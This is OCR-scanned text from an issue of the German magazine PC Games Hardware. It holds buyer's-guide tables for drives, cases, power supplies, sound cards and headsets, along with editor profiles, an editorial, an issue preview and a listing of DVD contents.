Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 12,5/4,3 ms* 167/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 

HGST Ultrastar He6 6TB Ca. € 390,- | 5.589 GiB/6.000 GB | 7.200 0,1/1,6 Sone 12,6/5,8 ms 143/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 

Western Digital Red WD60EFRX Ca. € 205,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 15,8/18 ms* 127/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer | SERVICE 


Einkaufsführer Gehäuse, Netzteile & Sound — «oe 


CETTE TT PREIS-LEISTUNGS-TIPP [EL ET SPAR-TIPP 


Format j 
Midi-Gehäuse (Hersteller- | Preis Lüfterplätze Enthaltene Lüfter a о Ш PUS UNE, Wertung Testin PCGH-Preisvergleich 
angabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 210,- | 9 x 140, 2 x 120 mm 3 x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Aerocool XPredator II Big-Tower | Ca. € 145,- | 6 x 140 mm 5 x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °С** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Phanteks Enthoo Luxe Big-Tower | Ca. € 130,- | 2 x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1,71 04/2015 | www.pcgh.de/preis/1142200 
TE Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4 x 140 mm, 1 x 120 mm 2 x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °С** 1,84 09/2016 | www.pcgh.de/preis/1354897 
Enermax Thormax Giant Big-Tower | Ca. € 135,- | 3x 200 mm, 1 x 140 mm, 2 x 120 mm | 2 x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °С“ 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6 x 140 mm 4 x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 115,- | 5 x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Са. € 135,- | 4 x 140 mm, 1 х 120 mm 2 x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3 x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °C* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Са. € 110,- | 4 x 140/1 x 120 mm 2 x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 °C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9 x 140/120 mm 2 x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °С* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 140,- | 5 x 140 mm oder 7 x 120 mm 3 x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
LC-Power Gaming 986B DS | Midi-Tower | Ca. € 90,- | 7 x 120 mm 2x 120 mm 1,3/1,3 Sone*** 70/72/41 °C 2,46*** | 08/2017 | www.pcgh.de/preis/1531267 
IT Chieftec Gaming GP-01B Midi-Tower | Ca. € 75,- | 2 x 140 mm, 3 x 120 mm 2 x 140, 1 x 120 mm | 2,2/2,1 Sone*** 65/71/49 *C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 
УМЕО, Facial Design Meshify C Midi-Tower | Са. € 90,- | 4 x 140 mm, 2 x 120 mm 2x 120 mm 2,0/1,7 Sone*** 65/72/56 °C 2,55*** | 09/2017 | www.pcgh.de/preis/1670850 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core i7-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 


*** Neues Test-/Wertungssystem (siehe PCGH 02/2017) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 М | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Be Quiet Dark Power Pro 11 550W | Са. € 135,- | 4 x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Са. € 140,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
ТТ ТУ Cooler Master V550 Ca. € 100,- | 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 | www.pcgh.de/preis/1325567 
Bitfenix Whisper M Ca.€85- | 4x 6+2-Ріп (68 cm) 550 Wa 0,1/0,1/0,1/0,1/0,5 Sone | 88/92/93/92/91 % 1,54 07/2017 | www.pcgh.de/Fluesterleise 
XFX TS 550 Gold Ca. € 65,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 09/2016 | www.pcgh.de/preis/1076839 
Cougar GX-S 550 Ca.€65- | 2 х 6+2-Ріп (60-70 ст) 550 Wa 0,3/0,3/0,3/0,3/2,6 Sone | 85/90/92/91/90 % 2,06 07/2017 | www.pcgh.de/silberloewe 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Seasonic Prime Titanium 650W Са. € 140,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Ca. € 120,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W СМ | Са. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung -12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Corsair HX1000i Ca. € 205,- |4x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Ca. € 150,- | 4 x 6+2-Pin (50 cm) 840 Wat 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 125,- | 2 x 2 6+2-Pin (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate a See Ge e Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster ZxR Ca. 190,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 
Asus Xonar Essence STX 2 7.1 | Ca. 220,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 
Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanäle/Abtastrate ne a Pigs RN m Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster X7 Ca. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB a, TPA6120A2 айа Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 
M Creative Sound Blaster Omni | Са. 60,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A аа Integriertes Mikrofon 2,18 05/2015 | www.pcgh.de/preis/1003999 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TP56130A2 ein/nein Mikr.-Lautstárkeregl. am Gerät | 2,27 | 05/2015 | www.pcgh.de/preis/1150607 
Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 
Steelseries Siberia 800 Ca. 320,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Teufel Cage Ca. 170,- | USB, Klinke Geschlossen, ohrumschließend | 310 Gramm | 32 Ohm Ja, virtuell | Beidseitig tragbar, Software 1,73 07/2016 | www.pcgh.de/preis/1631481 
Asus ROG Centurion Ca. 220,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 
You T Sennheiser GSP 350 Ca. 120,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 | 03/2017 | www.pcgh.de/preis/1543799 
Logitech G533 Wireless Ca. 90,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/1558931 
ШЕТУ Lioncast LX 50 Са. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1560427 
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SERVICE | Teamseite 


Die Redaktion 


EES BAYER 
Chefredakteur EES tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Aktuell interessiert mich, mit welchem PC man optimal Bilder ver- 
walten und bearbeiten kann. Vermutlich wird daraus noch ein größeres Projekt. 
:-) Ansonsten freue ich mich auf War of the Chosen - trotz Horrorpreis. 


Direct X 12 und Vulkan ... fehlt es einfach an einer nennenswerten Verbrei 
tung. Die Euphorie war jeweils ja nicht gerade klein, aber in der Praxis spielen 
beide APIs neben E eigentlich kaum eine große Rolle. Schade. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
7170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Derzeit warte ich auf die Werterstattung meiner , ertrunkenen" 
Ex-Titan (Garantiefall, siehe PCGH 09/2017, S. 62/63). Das Geld soll in eine 
Radeon RX Vega flieBen, sobald mich ein Design im Test überzeugt. 


Direct X 12 und Vulkan ... vegetieren vor sich hin. AotS und RotTR zeigen 
eindrucksvoll, wie gut man einen schwachen Prozessor durch Low-Level-Zugriff 
entlasten kann. Seitdem kam nichts (Gutes) mehr, was sehr schade ist. 


Privat-PC: AMD Ryzen 1700 (3,0 GHz, 0,94V), Asus Crosshair VI Hero, 16 
GiB DDR4-3200, Titan-X-ohne-p mit Arctic Hybrid 111-140, LG DCI-AK-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: , Yo, dein Rechner ist so alt wie das Universum, und wer Fermi 
hat, hat auch keine Ahnung!” Danke für den Tipp, aber das Ding macht wei- 
testgehend, was es soll. Vielleicht wird Coffee Lake ja cool und ich schwach. 


Direct X 12 und Vulkan ... werden es weiter schwer haben. Kein Entwickler 
steckt zusátzliche Zeit in aufwendige Low-Level-Programmierung, wenn es 
nicht notwendig oder ein Prestigeprojekt ist. Spielentwicklung ist , Business". 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


MANUEL ME] 


Redakteur ME] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Skylake X ist raus für ein potenzielles Upgrade. Mal sehen, was 
Ryzen Threadripper so bringt. Alternativ werden sämtliche Begehren nach neuer 
Hardware einfach unterdrückt. 


Direct X 12 und Vulkan ... sind weiterhin eine tolle Sache, würden sie sich 
denn mal etwas weiter verbreiten. Momentan befindet sich kein einziges Spiel 
mit Low-Level-API auf meiner SSD. 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra Il 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Ich lasse mir mit meinem Röhrenradio-Casecon absichtlich extra 
lange Zeit, sodass ich mir jetzt noch keine neue Grafikkarte kaufen muss. Die 
Mondpreise müssen erst mal sinken. 


Direct X 12 und Vulkan ... haben mich bislang beide nicht vom Hocker 
gehauen. Da ich aber hoffe, dass sich Linux-Gaming zur echten Alternative 
mausert, gehört klar Vulkan meine Sympathie. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
£ 


PC aktuell: Momentan lese ich viel. Und spiele Tyranny — da lese ich auch viel. 


Direct X 12 und Vulkan ... treten gefühlt auf der Stelle. Vulkan verbreitet 
sich immerhin auf mobilen Plattformen (Android) sowie bei Open-Source- 
Projekten ein wenig. Auf dem PC werden diese APIs aber wohl erst dann große 
Vorteile bringen, wenn Spiele deutlich komplexer werden. Ob das wohl noch 
vor der nächsten Konsolengeneration passiert? Das steht noch in den Sternen. 


Privat-PC: i7-5820K @ 4,2 GHz, 32 GiB DDR4, 2x 960 + 4x 512 GB SSDs, 
1x WD 3 TB, GTX 980 © 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÖWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und G 


ehäuse 


PC aktuell: Das Retro-System rund um den „King” (P3-S 1,4 GHz), ein GA- 
60XET-C-Board und SDR-RAM wird debugged. Auf einem Elitegroup P6S5AT 
(SiS 635T) und DDR-RAM hingegen läuft er. Vielleicht sollte ich dabei bleiben. 


Direct X 12 und Vulkan ... enttäuschen mich bislang. Sogar in AotS skaliert 
reales Gameplay wohl nicht so gut, wie der Entwickler sich das gewünscht 
hätte — ganz im Gegensatz zum integrierten Benchmark natürlich. 


Privat-PC: Core i7-5775C (3,6 GHz/1,05v), 2x 8 GiB DDR3-1866, 128 
GByte-SSD (NVME), 24"-LCD (120 Hz 4 life), Mini-ITX-Geháuse (11 Liter Vol.) 


PC aktuell: Ich habe meinen Maxnomic Need for Seat Commander S III mit 
Skater-Rollen gepimpt. Richtig zufrieden bin noch nicht, da sich die Sitzfläche 
um 5 cm erhöht, die Oberschenkel der Tischplatte schon sehr nahe kommen. 


Direct X 12 und Vulkan ... wurden als neue APl-Sensation angepriesen, 
haben ihr Potenzial mit wenigen Ausnahmen (Vulkan und Doom) aber nicht 
gezeigt. Mein Favorit ist ganz klar die offene nicht OS-gebundene Vulkan-API. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


Eee VOGEL 


Redakteur Eee tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontär | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


PC aktuell: Abseits einer täglichen Runde Gwent spiele ich mal wieder Civ 3. 
Aber nur noch eine Runde. Ehrlich! Dann kümmere ich mich um den PC! 


Direct X 12 und Vulkan ... „lösen“ das Problem schlecht optimierter Spiele, 

indem sie den mangelhaft optimierenden Entwicklern einen noch größeren 

Teil der Arbeit überlassen. Na ja — solange das eine nicht mit Betriebssystemen 

läuft, die ich mag, und das Kg mit quasi keinem Spiel, ist mir das auch egal. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDR4-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles  Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: Ich weiß nicht warum, aber ich habe mir The Witness geholt. Das 
Spiel ist bisher sehr interessant, auch wenn ich noch keinen blassen Schimmer 
habe, warum ich auf dieser Insel Rätsel lösen muss. Spaß macht es ungemein. 


Direct X 12 und Vulkan ... bleiben hinter den Erwartungen zurück. Ganze 
20 Spiele mit DX12 und 26 mit Vulkan nach knapp zwei Jahren zeigen wohl, 
dass das Entwickeln mit den Low-Level-APls nicht so einfach ist wie gedacht. 


Privat-PC: Intel Core i5-3450, P8B75-MLX (uATX), 8 GiByte DDR-RAM, XFX 
Radeon RX 470 RS Black Edition 


STEPHAN WILKE 
Community Content Commerce Manager | swGpcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Na toll, danke Microsoft, seit dem letzten Windows-10-Update 
geht bei mir die „Energie sparen"-Funktion nicht mehr und der Monitor bleibt 
beim Einschalten schwarz. Haben Sie ähnliche Probleme? 


Direct X 12 und Vulkan ... sind tolle Low-Level-APls, bringen aber wenig, 
wenn die Akzeptanz bei den Spiele-Entwicklern nicht gegeben ist und eine 
Unterstützung mit hohem Optimierungsaufwand verbunden ist. 


Privat-PC: Core i7-7700K, 16 СІВ DDR4, Asus 7170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Bei mir ist Quake Champions angesagt — hatte schon viele Stunden 
SpaB und fiebere als Zuschauer dem groBen Turnier auf der Quakecon entgegen. 


Direct X 12 und Vulkan ... haben groBes Potenzial (siehe Doom — Radeons 
legen bisweilen um >50 96 zu), das aber nicht oft genutzt wird. Anscheinend 

ist der Aufwand für die Entwickler zu hoch. Ich hoffe, dass Vulkan das Duell ge- 
winnt — es wáre im Interesse aller, die sich nicht an Windows 10 ketten wollen. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 
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RX Vega: Nachschlag* 


Wenn Sie diese Zeilen lesen, erscheinen die ersten Herstellerdesigns auf Vega-Basis. 
PC Games Hardware prüft im groBen Vergleichstest Radeon RX Vega gegen Geforce 
GTX 1070/1080, welche Custom-Designs ihr Geld wert sind. 


GTX 1080 
Ti: Spezial- 
karten* 


Sie suchen eine sehr kleine oder 
| möglichst potente GTX 1080 Ti? 
Dieser Test wird Ihnen helfen. 


Monitor- 
Tuning* 


Wir verraten, wie Sie das Optimum 


aus Ihrem Free- oder G-Sync- 
Display herausholen. 


Weitere Themen (u. a.)* 


I Tests: Intel Coffee Lake, Big Tower, 50 LCDs im Reaktionszeittest 
I Praxis: Peripherie-Kaufberatung, Spannungswandlerkühlung 
I Info: Grafikeffekte erklärt (Teil 8), Legendäre Preis-Leistungs-Tipps 


2 Vollversionen 


In Between 
The Whispered World 


Die nächste PCGH erscheint am 
4. Oktober 2017. Abonnenten 
bekommen das Heft in der Re- 
gel einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewähr. Es kann aus Aktuali- 
tátsgründen zu außerplanmäßigen Änderungen kommen. 
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In virtuelle Welten 
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ZEISS VR ONE Connect 


// INNOVATION 


MADE BY ZEISS 


Einfach. Schnell. Immersiv. 


Spiele mit ZEISS VR ONE Connect eine Vielzahl von SteamVR" Games auf 
Deinem mobilen VR-Headset. Verbinde einfach Dein Smartphone mit Deinem 
Gaming-PC und den zwei ZEISS VR ONE Connect Bluetooth® Controllern und 
erlebe hochklassige VR-Spiele - zum Beispiel mit der ZEISS VR ONE Plus. 
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Was bringt der Ryzen Threadripper 1900X? 


Vorschau i9-7980XE: 18 Kerne für Spieler 
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OC-Special: Ryzen 5/7, i7-6700K und mehr 


33 LCDs im Reaktionszeittest [777 


Warum die Reaktionszeit länger als 1 ms ist : GTX 1080 Ti 


PC-Diagnose: So erkennen 
Sie ein CPU- oder GPU-Limit! 
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Editorial | SERVICE 


Logbuch #205: Jubilaen-Alarm, 
Flash-Verfall und krummer EVT 


17 Jahre PCGH, 10 Jahre Extreme: Heute vor (ziemlich genau) 17 Jahren erschien die Erstaus- 


gabe von PC Games Hardware. Und auch das Enthusiasten-Forum PCGH Extreme hatte ein į: facebook 
Jubiläum: Vor gut zehn Jahren dachten drei PCGH-Redakteure, dass es dringend an der Zeit : 
sei, ein eigenes Forum für Nerds zu etablieren. Das ist doch mindestens ein guter Grund zum : РССН-Еап werden auf: 


Feiern, oder? Das dachten wir uns auch und daher werden wir in den kommenden Monaten 
regelmäßig Aktionen für die PCGH-Leser und -Community veranstalten. Den Anfang machte 
im September bereits eine Aktion für das PCGH-Folding@Home-Team: Zusammen mit Gigabyte 
lobten wir attraktive Preise aus, um im Umfeld des Weltalzheimertages möglichst viel Rechen- 
leistung für wissenschaftliche Zwecke zu sammeln. Und im Oktober geht es weiter mit einem 
Extreme-Kreuzworträtsel, wo uns Asus freundlicherweise unterstützt. Auf Seite 61 finden Sie 
alle nötigen Infos zu diesem Test für angehende Nerds. Auf weitere Aktionen dürfen Sie schon 
heute gespannt sein. 


Thilo Bayer 
Chefredakteur 


PC Games Hardware 


Flash - Aha? Sie wissen vermutlich, dass die Tage von Flash gezählt sind. Das betrifft gewisser- 
mafsen auch die Menü-Oberfläche der Heft-DVD von PC Games Hardware, denn diese wird grundsätzlich noch in Flash 
gemacht. Eigentlich müsste man etwas Neues entwickeln - wenn das denn überhaupt von den Lesern gewünscht ist. Wir 
haben uns intern die Frage gestellt, ob ein DVD-Menü überhaupt noch zeitgemäß ist und ob die PCGH-User nicht sowieso 


die DVD ins Laufwerk legen und die Inhalte im Explorer ansehen. Sie könnten uns einen großen Gefallen tun, wenn Sie i Tunen; nou bauen 
HE oder aufrüsten 


Ihre Meinung kundtun. Reicht es Ihnen, wenn Sie die Inhalte über den Windows Explorer nutzen kónnen? Schreiben Sie 
mir Ihre Meinung an tb? pcgh.de. 


Übrigens: Der Erscheinungstermin der kommenden PCGH 12/2017 liegt ausnahmsweise nicht auf dem ersten Mittwoch 
im Monat. Wie kommt es zu diesem mittelschweren Skandal? Ganz einfach, uns macht da der Allerheiligen-Feiertag, der 
zumindest in einigen Bundesländern gilt, einen Strich durch die Rechnung, weshalb wir ausnahmsweise am Donnerstag, 
den 02. November, erscheinen. 


Viel Spafš mit der Ausgabe Nummer 205 wünscht Ihr 


Der Spieleonkel 
vergleicht nicht 

nur große Gehäuse 
miteinander. Er darf 
mit dem DAN Cases 
АД SEN v2 auch 

den wohl kleinsten 
Gaming-Vertreter 
der Welt testen. 


Phil nimmt am Early-Access-Zugang von Quake Champions teil und 
unterzieht den Arena-Shooter erneut einem Technik-Check. 


Die Redaktion 
im September 2017 


+++ Unser Tastatur-Papst Frank berät Sie beim Kauf einer neuen Maus, Tas- 
tatur oder eines neuen Sitzmöbels für Spieler +++ Carsten präsentiert legendä- 
Manuel überprüft mit re Hardware-Dauerbrenner wie Intels Celeron 300A oder Logitechs MX518 +++ 
The Witcher 3, ob sich ein Thilo beschäftigt sich mit der Frage, wohin die Reise bei der Spiele- und Hardware- 
Business-Notebook per Entwicklung geht +++ Manuel vergleicht die Reaktionszeiten von 33 Monitoren 


en +++ Stephan bringt vier schwächelnde Leser-PCs auf Vordermann +++ 


u SERVICE | Heftinhalt 


Heftinhalt 


Ist das neue Bild schon da? 


| Bitte wa 


rten. f 
Flüssigkristall dreht sich. | 


Die Reaktionszeit-Versprechen der Monitor-Hersteller haben mit dem Praxis-Einsatz nur selten etwas zu tun. Wir erklären wieso und messen 
nach, was 32 LC-Displays verschiedenen Alters und Anwendungsgebietes sowie ein alter Röhrenmonitor im Durchschnitt leisten. 
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Vom Rennsport inspiriert, konstruiert zum Gamen. 


> Sitz- und Rückenrahmen aus Stahl für > Höhenverstellung der Sitzfläche durch 
lebenslange Stabilität Gasdruckfeder aus Stahl 

> Bewegliche 4D-Armlehnen mit mechanischer, > Nackenkissen und Lordosenstütze in PU-Leder 
vertikaler Einstellmöglichkeit eingefasst und mit Ziernähten versehen 


> Strapazierfähige Nylon-Lenkrollen für 
Stabilität und Traktion auf jeder Oberfläche 
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NI SERVICE | DVD-Highlights 


Heft-DVD 


DVD-Vollversionen 
3» The Whispered World 
® |n Between 


Videos aus der PCGH-Redaktion 
29 PCGH-Retrospektive 06/2009 
® Reaktionszeiten von LC-Displays — so misst PCGH. 


Specials 

= Begleitmaterial: Legendäre Preis-Leistungs-Tipps und Dauerläufer 

29 Begleitmaterial: Geforce GTX 1080 Ti 

Tools 

® GPU-Z 2.4.0, MSI Afterburner 4.4.0 Beta 16, Nvidia Inspector 
1.9.7.8, PCGH-VGA-Tool 1.0.1, Sapphire Trixx 6.4.0 

Jp AS-SSD Benchmark 1.9.5986, Cinebench R15, Fraps 3.5.99, 
Prime 95 29.10, Super Pi 1.9 

® Core Temp 1.10.2, CPU-Z 1.80.1, HD-Tune 2.55/5.70 Trial, 
Speedfan 4.52, Sysinternals Suite (06/2017) 

Treiber 

® Geforce 385.41 WHQL (Win 7/8/10 x86/x64) 

® Radeon Software Crimson Edition 17.9.1 (Win 7 & 10 x86/x64) 


| 40 Jahre AMD 
Тн. 
ШИ == ди NE S NIIT 


ТТ инен 


PCGH Retrospektive 06/2009: 
40 Jahre AMD, Phenom Il X4 955 BE und Radeon HD 4890. Phenom ХЗ 
freischalten, die erste 40-nm-GPU. Und: Das lasen die Redakteure! 


Hardware 


LCD-Reaktionszeit — so misst PCGH: 

Fachredakteur Manuel Christa erklárt, wie man die Reaktionszeiten 
von Flüssigkristall-Bildschirmen (LCDs) mithilfe eines Oszilloskopes 
fachgerecht bestimmt. 


Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift 
(Name, StraBe, PLZ, Wohnort) und der Ausgabennummer 11/2017 unter dem 
Betreff „PC Games Hardware: DVD-Reklamation" an computec@dpv.de. 


[o EE 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware kónnen Sie uns bequem Rückmeldung geben, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und 
ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
www.pcgh.de/feedback 


Foren-Account, der mit wenigen Mausklicks eingerichtet ist. 


2. Weiche Temen vuerussen Sa aitat үз Prirtmagazın? 


3. Wie fancen Sie s folgenden Але DVD Ina? 
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Free СРЦ. 
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Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! 


Diesen erhalten Sie, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlósen. 


In The Whispered World spielen Sie den jungen Clown 
Sadwick, der mit dem Wanderzirkus der Familie und 
seiner Haustier-Raupe Spot durch eine malerische Fan- 
tasy-Welt reist. Allerdings ist Sadwick kein typischer 
